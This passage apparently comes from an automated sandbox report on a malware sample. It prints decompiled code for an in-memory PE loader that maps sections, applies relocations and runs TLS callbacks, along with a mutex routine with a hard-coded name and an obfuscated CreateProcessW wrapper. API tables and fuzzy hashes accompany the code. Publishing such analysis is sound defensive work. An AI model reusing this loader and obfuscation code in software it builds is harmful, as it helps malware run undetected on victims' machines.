				void* _t397;
				void* _t398;

				_t198 =  *0x6ef8609c; // 0xebcc447c
				_v8 = _t198 ^ _t396;
				_t339 = __ecx;
				_push(__esi);
				_t371 = 0;
				_v56 = __edx;
				_v48 = __ecx;
				_push(__edi);
				if(__edx < 0x40) {
					L3:
					_push(0xd);
					goto L88;
				} else {
					if( *__ecx != 0x5a4d) {
						L87:
						_push(0xc1);
						goto L88;
					} else {
						_t4 = _t339 + 0x3c; // 0xcccccccc
						_t306 =  *_t4;
						_v72 = _t306;
						_t6 = _t306 + 0xf8; // 0xcccccdc4
						if(__edx >= _t6) {
							_t297 = _t306 + __ecx;
							_v68 = _t297;
							if( *(_t306 + __ecx) != 0x4550 ||  *((intOrPtr*)(_t297 + 4)) != 0x14c) {
								goto L87;
							} else {
								_t307 =  *(_t297 + 0x38);
								if((_t307 & 0x00000001) != 0) {
									goto L87;
								} else {
									_t358 =  *(_t297 + 6) & 0x0000ffff;
									_t341 = ( *(_t297 + 0x14) & 0x0000ffff) + 0x24;
									if(_t358 != 0) {
										_t355 = _t341 + _t297;
										do {
											_t294 =  *((intOrPtr*)(_t355 + 4));
											_t355 = _t355 + 0x28;
											_t335 =  !=  ? _t294 : _t307;
											_t336 = ( !=  ? _t294 : _t307) +  *((intOrPtr*)(_t355 - 0x28));
											_t337 =  <=  ? _t371 : _t336;
											_t371 =  <=  ? _t371 : _t336;
											_t307 =  *(_t297 + 0x38);
											_t358 = _t358 - 1;
										} while (_t358 != 0);
									}
									__imp__GetNativeSystemInfo( &_v44); // executed
									_t308 = _v40;
									_t343 =  !(_t308 - 1);
									_t361 = _t308 - 0x00000001 +  *((intOrPtr*)(_t297 + 0x50)) & _t343;
									if(_t361 != (_t308 - 0x00000001 + _t371 & _t343)) {
										goto L87;
									} else {
										_t209 = VirtualAlloc( *(_t297 + 0x34), _t361, 0x3000, 4); // executed
										_v60 = _t209;
										if(_t209 != 0) {
											L13:
											_v100 = GetProcessHeap;
											_t212 = HeapAlloc(GetProcessHeap(), 8, 0x44);
											_t362 = _t212;
											_v76 = _t362;
											if(_t362 != 0) {
												 *((intOrPtr*)(_t362 + 4)) = _v60;
												 *((intOrPtr*)(_t362 + 0x1c)) = E6EF5BA90;
												 *(_t362 + 0x14) = ( *(_t297 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
												 *((intOrPtr*)(_t362 + 0x20)) = E6EF5BAB0;
												 *((intOrPtr*)(_t362 + 0x24)) = E6EF5BAD0;
												 *((intOrPtr*)(_t362 + 0x28)) = E6EF5BAE0;
												 *((intOrPtr*)(_t362 + 0x2c)) = E6EF5BB00;
												 *(_t362 + 0x34) = 0;
												 *(_t362 + 0x40) = _v40;
												if(E6EF5B840(_v56,  *(_t297 + 0x54)) == 0) {
													L33:
													E6EF5E93F( *((intOrPtr*)(_t362 + 0x30)));
													_t220 =  *((intOrPtr*)(_t362 + 8));
													_t398 = _t397 + 4;
													if( *((intOrPtr*)(_t362 + 8)) != 0) {
														_t375 = 0;
														if( *((intOrPtr*)(_t362 + 0xc)) > 0) {
															do {
																_t220 =  *((intOrPtr*)(_t362 + 8));
																_t312 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 8)) + _t375 * 4));
																if(_t312 != 0) {
																	 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x2c))))(_t312,  *(_t362 + 0x34));
																	_t220 =  *((intOrPtr*)(_t362 + 8));
																	_t398 = _t398 + 8;
																}
																_t375 = _t375 + 1;
															} while (_t375 <  *((intOrPtr*)(_t362 + 0xc)));
														}
														E6EF5E93F(_t220);
														_t398 = _t398 + 4;
													}
													_t221 =  *((intOrPtr*)(_t362 + 4));
													if(_t221 != 0) {
														 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x20))))(_t221, 0, 0x8000,  *(_t362 + 0x34));
													}
													HeapFree(_v100(), 0, _t362);
													return E6EF5C65E(_v8 ^ _t396);
												} else {
													_t231 = VirtualAlloc(_v60,  *(_t297 + 0x54), 0x1000, 4); // executed
													_t376 = _t231;
													E6EF5DD40(_t376, _v48,  *(_t297 + 0x54));
													_t397 = _t397 + 0xc;
													_v64 = 0;
													_t235 = _t376 + _v48[0xf];
													 *_t362 = _t235;
													 *((intOrPtr*)(_t235 + 0x34)) = _v60;
													_t314 =  *_t362;
													_t345 =  *((intOrPtr*)(_t362 + 4));
													_v52 = _t345;
													_t237 = ( *(_t314 + 0x14) & 0x0000ffff) + 0x24;
													if(0 >=  *(_t314 + 6)) {
														L29:
														_t239 =  *((intOrPtr*)(_t314 + 0x34)) -  *(_t297 + 0x34);
														_v68 = _t239;
														if(_t239 == 0) {
															L51:
															_t240 = 1;
														} else {
															if( *((intOrPtr*)(_t314 + 0xa4)) != 0) {
																_t353 =  *((intOrPtr*)(_t362 + 4));
																_t301 =  *((intOrPtr*)(_t314 + 0xa0)) + _t353;
																_v56 = _t353;
																_t267 =  *_t301;
																if(_t267 != 0) {
																	do {
																		_t329 =  *((intOrPtr*)(_t301 + 4));
																		_v72 = _t267 + _t353;
																		_t354 = _t301 + 8;
																		_t390 = 0;
																		if((_t329 - 0x00000008 & 0xfffffffe) > 0) {
																			_t369 = _v72;
																			do {
																				_t270 =  *_t354 & 0x0000ffff;
																				if((_t270 & 0x0000f000) == 0x3000) {
																					 *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) =  *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) + _v68;
																				}
																				_t329 =  *((intOrPtr*)(_t301 + 4));
																				_t390 = _t390 + 1;
																				_t354 =  &(_t354[1]);
																			} while (_t390 < _t329 - 8 >> 1);
																		}
																		_t267 =  *((intOrPtr*)(_t301 + _t329));
																		_t301 = _t301 + _t329;
																		_t353 = _v56;
																	} while (_t267 != 0);
																	_t362 = _v76;
																}
																goto L51;
															} else {
																_t240 = 0;
															}
														}
														 *(_t362 + 0x18) = _t240;
														if(E6EF5B920(_t362) == 0) {
															goto L33;
														} else {
															_t298 =  *_t362;
															_t379 = ( *(_t298 + 0x14) & 0x0000ffff) + _t298;
															_t242 =  *(_t379 + 0x20);
															_t318 =  ~( *(_t362 + 0x40)) & _t242;
															_t346 =  *((intOrPtr*)(_t379 + 0x28));
															_v64 = _t242;
															_v96 = _t242;
															_v68 = _t318;
															_v92 = _t318;
															if(_t346 == 0) {
																_t266 =  *(_t379 + 0x3c);
																if((_t266 & 0x00000040) == 0) {
																	if(_t266 < 0) {
																		_t346 =  *((intOrPtr*)(_t298 + 0x24));
																	}
																} else {
																	_t346 =  *((intOrPtr*)(_t298 + 0x20));
																}
															}
															_t319 =  *(_t379 + 0x3c);
															_v88 = _t346;
															_v84 = _t319;
															_v80 = 0;
															_v72 = 1;
															if(1 >=  *(_t298 + 6)) {
																L75:
																_v80 = 1;
																_t244 = E6EF5B860(_t298, _t362,  &_v96, _t362, _t379); // executed
																if(_t244 == 0) {
																	goto L33;
																} else {
																	_t348 =  *_t362;
																	_t321 = _t348;
																	_t380 =  *((intOrPtr*)(_t348 + 0xc0));
																	if(_t380 != 0) {
																		_t299 =  *((intOrPtr*)(_t362 + 4));
																		_t384 =  *((intOrPtr*)(_t380 + _t299 + 0xc));
																		if(_t384 != 0) {
																			_t253 =  *_t384;
																			if(_t253 != 0) {
																				do {
																					 *_t253(_t299, 1, 0);
																					_t253 =  *((intOrPtr*)(_t384 + 4));
																					_t384 = _t384 + 4;
																				} while (_t253 != 0);
																				_t321 =  *_t362;
																			}
																		}
																	}
																	_t245 =  *((intOrPtr*)(_t321 + 0x28));
																	if(_t245 == 0) {
																		 *(_t362 + 0x38) = 0;
																		return E6EF5C65E(_v8 ^ _t396);
																	} else {
																		_t248 = _t245 + _v60;
																		if( *(_t362 + 0x14) == 0) {
																			 *(_t362 + 0x38) = _t248;
																			return E6EF5C65E(_v8 ^ _t396);
																		} else {
																			 *(_t362 + 0x3c) = _t248;
																			 *(_t362 + 0x10) = 1;
																			return E6EF5C65E(_v8 ^ _t396);
																		}
																	}
																}
															} else {
																_t255 = _t379 + 0x64;
																_v48 = _t255;
																do {
																	_v56 =  *((intOrPtr*)(_t255 - 0x1c));
																	_t367 =  *((intOrPtr*)(_t255 - 0x14));
																	_t388 =  ~( *(_t362 + 0x40)) & _v56;
																	_v52 = _t367;
																	_t362 = _v76;
																	if(_t367 == 0) {
																		if(( *_t255 & 0x00000040) == 0) {
																			if(( *_t255 & 0x00000080) != 0) {
																				_t368 =  *((intOrPtr*)(_t298 + 0x24));
																				goto L65;
																			}
																		} else {
																			_t368 =  *((intOrPtr*)(_t298 + 0x20));
																			L65:
																			_v52 = _t368;
																			_t362 = _v76;
																		}
																	}
																	if(_v68 == _t388) {
																		L71:
																		_t319 = _t319 |  *_t255;
																		asm("bt eax, 0x19");
																		if(_t319 >= 0) {
																			_t319 = _t319 & 0xfdffffff;
																		}
																		_t346 = _v52 - _v64 + _v56;
																		_t258 = _v48;
																		goto L74;
																	} else {
																		if(_v64 + _t346 > _t388) {
																			_t255 = _v48;
																			goto L71;
																		} else {
																			_t263 = E6EF5B860(_t298, _t362,  &_v96, _t362, _t388); // executed
																			if(_t263 == 0) {
																				goto L33;
																			} else {
																				_t264 = _v56;
																				_t346 = _v52;
																				_t298 =  *_t362;
																				_v64 = _t264;
																				_v96 = _t264;
																				_t265 = _t388;
																				_v68 = _t265;
																				_v92 = _t265;
																				_t258 = _v48;
																				_t319 =  *_t258;
																				goto L74;
																			}
																		}
																	}
																	goto L89;
																	L74:
																	_v48 =  &(_t258[0xa]);
																	_t379 = _v72 + 1;
																	_v84 = _t319;
																	_t255 = _v48;
																	_v88 = _t346;
																	_v72 = _t379;
																} while (_t379 < ( *(_t298 + 6) & 0x0000ffff));
																goto L75;
															}
														}
													} else {
														_t302 = _t237 + _t314;
														do {
															_t333 =  *((intOrPtr*)(_t302 + 4));
															if(_t333 != 0) {
																if(_v56 <  *((intOrPtr*)(_t302 + 8)) + _t333) {
																	SetLastError(0xd);
																	goto L33;
																} else {
																	_t279 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t333, 0x1000, 4,  *(_t362 + 0x34)); // executed
																	_t397 = _t397 + 0x14;
																	if(_t279 == 0) {
																		goto L33;
																	} else {
																		_t392 =  *_t302 + _v52;
																		E6EF5DD40(_t392,  *((intOrPtr*)(_t302 + 8)) + _v48,  *((intOrPtr*)(_t302 + 4)));
																		 *((intOrPtr*)(_t302 - 4)) = _t392;
																		goto L26;
																	}
																}
															} else {
																_t395 =  *((intOrPtr*)( &(_v48[0xe]) + _v72));
																if(_t395 <= 0) {
																	goto L27;
																} else {
																	_t288 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t395, 0x1000, 4,  *(_t362 + 0x34));
																	_t397 = _t397 + 0x14;
																	if(_t288 == 0) {
																		goto L33;
																	} else {
																		 *((intOrPtr*)(_t302 - 4)) =  *_t302 + _v52;
																		E6EF5D230(_t362,  *_t302 + _v52, 0, _t395);
																		L26:
																		_t345 = _v52;
																		_t397 = _t397 + 0xc;
																		goto L27;
																	}
																}
															}
															goto L89;
															L27:
															_t314 =  *_t362;
															_t302 = _t302 + 0x28;
															_t394 = _v64 + 1;
															_v64 = _t394;
														} while (_t394 < ( *(_t314 + 6) & 0x0000ffff));
														_t297 = _v68;
														goto L29;
													}
												}
											} else {
												VirtualFree(_v60, _t212, 0x8000);
												goto L15;
											}
										} else {
											_t293 = VirtualAlloc(_t209, _t361, 0x3000, 4);
											_v60 = _t293;
											if(_t293 == 0) {
												L15:
												_push(0xe);
												L88:
												SetLastError();
												return E6EF5C65E(_v8 ^ _t396);
											} else {
												goto L13;
											}
										}
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L89:
			}

0x6ef5bb36
0x6ef5bb3d
0x6ef5bb43
0x6ef5bb45
0x6ef5bb46
0x6ef5bb48
0x6ef5bb4b
0x6ef5bb4e
0x6ef5bb52
0x6ef5bb72
0x6ef5bb72
0x00000000
0x6ef5bb54
0x6ef5bb5c
0x6ef5c0b0
0x6ef5c0b0
0x00000000
0x6ef5bb62
0x6ef5bb62
0x6ef5bb62
0x6ef5bb65
0x6ef5bb68
0x6ef5bb70
0x6ef5bb80
0x6ef5bb83
0x6ef5bb86
0x00000000
0x6ef5bb9b
0x6ef5bb9b
0x6ef5bba1
0x00000000
0x6ef5bba7
0x6ef5bbab
0x6ef5bbaf
0x6ef5bbb4
0x6ef5bbb6
0x6ef5bbb8
0x6ef5bbb8
0x6ef5bbbb
0x6ef5bbc0
0x6ef5bbc3
0x6ef5bbc8
0x6ef5bbcb
0x6ef5bbcd
0x6ef5bbd0
0x6ef5bbd0
0x6ef5bbb8
0x6ef5bbd9
0x6ef5bbdf
0x6ef5bbe8
0x6ef5bbf2
0x6ef5bbf8
0x00000000
0x6ef5bbfe
0x6ef5bc0f
0x6ef5bc11
0x6ef5bc16
0x6ef5bc2a
0x6ef5bc33
0x6ef5bc39
0x6ef5bc3f
0x6ef5bc41
0x6ef5bc46
0x6ef5bc64
0x6ef5bc71
0x6ef5bc78
0x6ef5bc7b
0x6ef5bc82
0x6ef5bc89
0x6ef5bc90
0x6ef5bc97
0x6ef5bca1
0x6ef5bcae
0x6ef5bde2
0x6ef5bde5
0x6ef5bdea
0x6ef5bded
0x6ef5bdf2
0x6ef5bdf4
0x6ef5bdf9
0x6ef5be00
0x6ef5be00
0x6ef5be03
0x6ef5be08
0x6ef5be11
0x6ef5be13
0x6ef5be16
0x6ef5be16
0x6ef5be19
0x6ef5be1a
0x6ef5be00
0x6ef5be20
0x6ef5be25
0x6ef5be25
0x6ef5be28
0x6ef5be2d
0x6ef5be3d
0x6ef5be3f
0x6ef5be49
0x6ef5be61
0x6ef5bcb4
0x6ef5bcc1
0x6ef5bcc6
0x6ef5bccc
0x6ef5bcd4
0x6ef5bcda
0x6ef5bce4
0x6ef5bce8
0x6ef5bcea
0x6ef5bced
0x6ef5bcef
0x6ef5bcf2
0x6ef5bcf9
0x6ef5bd00
0x6ef5bdb7
0x6ef5bdba
0x6ef5bdbd
0x6ef5bdc0
0x6ef5becd
0x6ef5becd
0x6ef5bdc6
0x6ef5bdcd
0x6ef5be62
0x6ef5be6b
0x6ef5be6d
0x6ef5be70
0x6ef5be74
0x6ef5be76
0x6ef5be76
0x6ef5be7b
0x6ef5be7e
0x6ef5be81
0x6ef5be8b
0x6ef5be8d
0x6ef5be90
0x6ef5be90
0x6ef5bea1
0x6ef5beab
0x6ef5beab
0x6ef5beae
0x6ef5beb1
0x6ef5beb2
0x6ef5beba
0x6ef5be90
0x6ef5bebe
0x6ef5bec1
0x6ef5bec3
0x6ef5bec6
0x6ef5beca
0x6ef5beca
0x00000000
0x6ef5bdd3
0x6ef5bdd3
0x6ef5bdd3
0x6ef5bdcd
0x6ef5bed4
0x6ef5bede
0x00000000
0x6ef5bee4
0x6ef5bee4
0x6ef5beef
0x6ef5bef1
0x6ef5bef4
0x6ef5bef6
0x6ef5bef9
0x6ef5befc
0x6ef5beff
0x6ef5bf02
0x6ef5bf07
0x6ef5bf09
0x6ef5bf0e
0x6ef5bf17
0x6ef5bf19
0x6ef5bf19
0x6ef5bf10
0x6ef5bf10
0x6ef5bf10
0x6ef5bf0e
0x6ef5bf1c
0x6ef5bf24
0x6ef5bf27
0x6ef5bf2a
0x6ef5bf31
0x6ef5bf3c
0x6ef5c005
0x6ef5c008
0x6ef5c011
0x6ef5c018
0x00000000
0x6ef5c01e
0x6ef5c01e
0x6ef5c020
0x6ef5c022
0x6ef5c02a
0x6ef5c02c
0x6ef5c02f
0x6ef5c035
0x6ef5c037
0x6ef5c03b
0x6ef5c040
0x6ef5c045
0x6ef5c047
0x6ef5c04a
0x6ef5c04d
0x6ef5c051
0x6ef5c051
0x6ef5c03b
0x6ef5c035
0x6ef5c053
0x6ef5c058
0x6ef5c096
0x6ef5c0af
0x6ef5c05a
0x6ef5c05a
0x6ef5c061
0x6ef5c080
0x6ef5c095
0x6ef5c063
0x6ef5c063
0x6ef5c068
0x6ef5c07f
0x6ef5c07f
0x6ef5c061
0x6ef5c058
0x6ef5bf42
0x6ef5bf42
0x6ef5bf45
0x6ef5bf50
0x6ef5bf53
0x6ef5bf59
0x6ef5bf5e
0x6ef5bf63
0x6ef5bf66
0x6ef5bf69
0x6ef5bf6e
0x6ef5bf78
0x6ef5bf7a
0x00000000
0x6ef5bf7a
0x6ef5bf70
0x6ef5bf70
0x6ef5bf7d
0x6ef5bf7d
0x6ef5bf80
0x6ef5bf80
0x6ef5bf6e
0x6ef5bf86
0x6ef5bfc3
0x6ef5bfc9
0x6ef5bfcb
0x6ef5bfcf
0x6ef5bfd1
0x6ef5bfd1
0x6ef5bfdd
0x6ef5bfe0
0x00000000
0x6ef5bf88
0x6ef5bf8f
0x6ef5bfc0
0x00000000
0x6ef5bf91
0x6ef5bf96
0x6ef5bf9d
0x00000000
0x6ef5bfa3
0x6ef5bfa3
0x6ef5bfa6
0x6ef5bfa9
0x6ef5bfab
0x6ef5bfae
0x6ef5bfb1
0x6ef5bfb3
0x6ef5bfb6
0x6ef5bfb9
0x6ef5bfbc
0x00000000
0x6ef5bfbc
0x6ef5bf9d
0x6ef5bf8f
0x00000000
0x6ef5bfe3
0x6ef5bfe9
0x6ef5bfec
0x6ef5bff3
0x6ef5bff6
0x6ef5bff9
0x6ef5bffc
0x6ef5bffc
0x00000000
0x6ef5bf50
0x6ef5bf3c
0x6ef5bd06
0x6ef5bd06
0x6ef5bd10
0x6ef5bd10
0x6ef5bd15
0x6ef5bd60
0x6ef5bddc
0x00000000
0x6ef5bd62
0x6ef5bd75
0x6ef5bd77
0x6ef5bd7c
0x00000000
0x6ef5bd7e
0x6ef5bd89
0x6ef5bd8e
0x6ef5bd93
0x00000000
0x6ef5bd93
0x6ef5bd7c
0x6ef5bd17
0x6ef5bd1d
0x6ef5bd23
0x00000000
0x6ef5bd25
0x6ef5bd38
0x6ef5bd3a
0x6ef5bd3f
0x00000000
0x6ef5bd45
0x6ef5bd4e
0x6ef5bd51
0x6ef5bd96
0x6ef5bd96
0x6ef5bd99
0x00000000
0x6ef5bd99
0x6ef5bd3f
0x6ef5bd23
0x00000000
0x6ef5bd9c
0x6ef5bd9c
0x6ef5bd9e
0x6ef5bda4
0x6ef5bda5
0x6ef5bdac
0x6ef5bdb4
0x00000000
0x6ef5bdb4
0x6ef5bd00
0x6ef5bc48
0x6ef5bc51
0x00000000
0x6ef5bc51
0x6ef5bc18
0x6ef5bc21
0x6ef5bc23
0x6ef5bc28
0x6ef5bc57
0x6ef5bc57
0x6ef5c0b5
0x6ef5c0b5
0x6ef5c0cd
0x00000000
0x00000000
0x00000000
0x6ef5bc28
0x6ef5bc16
0x6ef5bbf8
0x6ef5bba1
0x00000000
0x00000000
0x00000000
0x6ef5bb70
0x6ef5bb5c
0x00000000

APIs

GetNativeSystemInfo.KERNELBASE(?,-00000017,02886C78,00000000), ref: 6EF5BBD9
VirtualAlloc.KERNELBASE(?,?,00003000,00000004), ref: 6EF5BC0F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 6EF5BC21
HeapAlloc.KERNEL32(00000000), ref: 6EF5BC39
VirtualFree.KERNEL32(?,00000000,00008000), ref: 6EF5BC51

Part of subcall function 6EF5B840: SetLastError.KERNEL32(0000000D,6EF5BCAC), ref: 6EF5B846

VirtualAlloc.KERNELBASE(?,?,00001000,00000004), ref: 6EF5BCC1
SetLastError.KERNEL32(0000000D), ref: 6EF5BDDC
HeapFree.KERNEL32(00000000), ref: 6EF5BE49
SetLastError.KERNEL32(0000000D,-00000017,02886C78,00000000), ref: 6EF5C0B5

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual$ErrorLast$FreeHeap$InfoNativeSystem
String ID:
API String ID: 2732102410-0
Opcode ID: baab4072c905e06ea6f9fcde719de3ed9a332580ea53ff2d65bdf02c6f920a55
Instruction ID: a09f9c370834bb8926020d8dffdbcd971e690e79da4f74b0157ea331853bac60
Opcode Fuzzy Hash: baab4072c905e06ea6f9fcde719de3ed9a332580ea53ff2d65bdf02c6f920a55
Instruction Fuzzy Hash: 7C129A71A006099FDB50CFA8C8A0BA9B7F5FFA8304F144569E919EB349D731E861CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EF41000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF41000() {
				long _t2;
				intOrPtr* _t4;

				CreateMutexA(0, 1, "7ce3e80173264ea19b05306b865eadf9"); // executed
				_t2 = GetLastError();
				 *_t4 =  *_t4 + _t2;
				return _t2;
			}

0x6ef4100b
0x6ef41011
0x6ef41017
0x6ef4101a

APIs

CreateMutexA.KERNELBASE(00000000,00000001,7ce3e80173264ea19b05306b865eadf9,6EF41029,6EF410E6,6EF59D3B,00000001,00000000), ref: 6EF4100B
GetLastError.KERNEL32 ref: 6EF41011

Strings

7ce3e80173264ea19b05306b865eadf9, xrefs: 6EF41000, 6EF41006

Memory Dump Source

Source File: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID: 7ce3e80173264ea19b05306b865eadf9
API String ID: 1925916568-3969796594
Opcode ID: 5d788b91e2bb1216a1519db426d340ba80564962ce7fd1e51bb686a79f7b1634
Instruction ID: ad066b213ead7860aeaf5592e7fddc3156007c87f4ff7a37cb2d01a844f6e046
Opcode Fuzzy Hash: 5d788b91e2bb1216a1519db426d340ba80564962ce7fd1e51bb686a79f7b1634
Instruction Fuzzy Hash: B1C04CB0174B00DBDB405B60D849B363671ABC3702F124514B24148084D6A204408B29

Uniqueness

Uniqueness Score: -1.00%

Function 100231D2, Relevance: 1.6, APIs: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E100231D2(void* __ecx, WCHAR* __edx, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16, struct _STARTUPINFOW* _a28, intOrPtr _a32, intOrPtr _a36, struct _PROCESS_INFORMATION* _a48, int _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t71;

				_push(_a56);
				_t71 = __edx;
				_push(_a52);
				_push(_a48);
				_push(0);
				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(0);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				E10022523(_t54);
				_v28 = 0x2cec17;
				_v24 = 0;
				_v16 = 0x5aadab;
				_v16 = _v16 << 3;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x000031a8;
				_v12 = 0x82119f;
				_v12 = _v12 >> 2;
				_v12 = _v12 + 0xffff09c3;
				_t65 = 0x25;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x0004d7f2;
				_v8 = 0x7cd8a6;
				_v8 = _v8 >> 6;
				_v8 = _v8 | 0x702a8e48;
				_v8 = _v8 + 0xffff37f0;
				_v8 = _v8 ^ 0x702d019b;
				_v20 = 0x367fb2;
				_v20 = _v20 + 0xffff7ba2;
				_v20 = _v20 ^ 0x003ae9c9;
				E10002309(0x2e4, _t65, _t65, 0xbf8568a3, _t65, 0x9c9047d0);
				_t63 = CreateProcessW(_t71, _a16, 0, 0, _a52, 0, 0, 0, _a28, _a48); // executed
				return _t63;
			}

0x100231da
0x100231df
0x100231e1
0x100231e4
0x100231e7
0x100231e8
0x100231e9
0x100231ec
0x100231ef
0x100231f2
0x100231f3
0x100231f4
0x100231f7
0x100231fa
0x100231fd
0x100231fe
0x10023200
0x10023205
0x1002320f
0x10023214
0x1002321b
0x1002321f
0x10023223
0x1002322a
0x10023231
0x10023235
0x10023241
0x10023249
0x1002324c
0x10023253
0x1002325a
0x1002325e
0x10023265
0x1002326c
0x10023273
0x1002327a
0x10023281
0x100232a1
0x100232bb
0x100232c2

APIs

CreateProcessW.KERNELBASE(000C0354,?,00000000,00000000,?,00000000,00000000,00000000,229292B4,?), ref: 100232BB

Memory Dump Source

Source File: 00000003.00000002.251740813.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.251716895.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.251806261.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction ID: db286c9e9bcad3bd2e87b522c53d89c9dfc5ed19f2ace101bae5327955dfaec9
Opcode Fuzzy Hash: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction Fuzzy Hash: 21311476801248BBCF65DF96CD49CDFBFB5FB89704F108188F914A6220D3B58A60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5B860, Relevance: 1.6, APIs: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6EF5B860(void* __ebx, intOrPtr* __ecx, void** __edx, void* __edi, void* __esi) {
				signed int _v8;
				long _v12;
				signed int _t20;
				int _t32;
				signed int _t41;
				intOrPtr* _t42;
				signed int _t45;
				long _t52;
				unsigned int _t54;
				void* _t56;
				signed int _t57;

				_t42 = __ecx;
				_t20 =  *0x6ef8609c; // 0xebcc447c
				_v8 = _t20 ^ _t57;
				_t52 = __edx[2];
				if(_t52 == 0) {
					L8:
					return E6EF5C65E(_v8 ^ _t57);
				} else {
					_t54 = __edx[3];
					if((_t54 & 0x02000000) == 0) {
						_t45 =  *(((_t54 >> 0x0000001d & 0x00000001) << 4) + 0x6ef6d178);
						_t31 =  ==  ? _t45 : _t45 | 0x00000200;
						_t32 = VirtualProtect( *__edx, _t52,  ==  ? _t45 : _t45 | 0x00000200,  &_v12); // executed
						if(_t32 != 0) {
							goto L8;
						} else {
							return E6EF5C65E(_v8 ^ _t57);
						}
					} else {
						_t56 =  *__edx;
						if(_t56 == __edx[1]) {
							if(__edx[4] != 0) {
								L6:
								 *((intOrPtr*)( *((intOrPtr*)(_t42 + 0x20))))(_t56, _t52, 0x4000,  *((intOrPtr*)(_t42 + 0x34))); // executed
							} else {
								_t41 =  *(__ecx + 0x40);
								if( *((intOrPtr*)( *__ecx + 0x38)) == _t41 || _t52 % _t41 == 0) {
									goto L6;
								}
							}
						}
						goto L8;
					}
				}
			}

0x6ef5b860
0x6ef5b866
0x6ef5b86d
0x6ef5b872
0x6ef5b877
0x6ef5b8ba
0x6ef5b8cd
0x6ef5b879
0x6ef5b879
0x6ef5b882
0x6ef5b8d9
0x6ef5b8f0
0x6ef5b8f7
0x6ef5b8ff
0x00000000
0x6ef5b901
0x6ef5b910
0x6ef5b910
0x6ef5b884
0x6ef5b884
0x6ef5b889
0x6ef5b890
0x6ef5b8a6
0x6ef5b8b3
0x6ef5b892
0x6ef5b894
0x6ef5b89a
0x00000000
0x00000000
0x6ef5b89a
0x6ef5b8b8
0x00000000
0x6ef5b889
0x6ef5b882

APIs

VirtualProtect.KERNELBASE(?,?,?,?,00000000,?,?,6EF5C016), ref: 6EF5B8F7

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: eed3a9c3590fa16f7c78eecb1bb19e60fe6e76462d31d3fb558051b30419f62f
Instruction ID: a12b256fd7cff6856c3a67cbb00a1caf166a9ce97778022d07904de76f9df9e4
Opcode Fuzzy Hash: eed3a9c3590fa16f7c78eecb1bb19e60fe6e76462d31d3fb558051b30419f62f
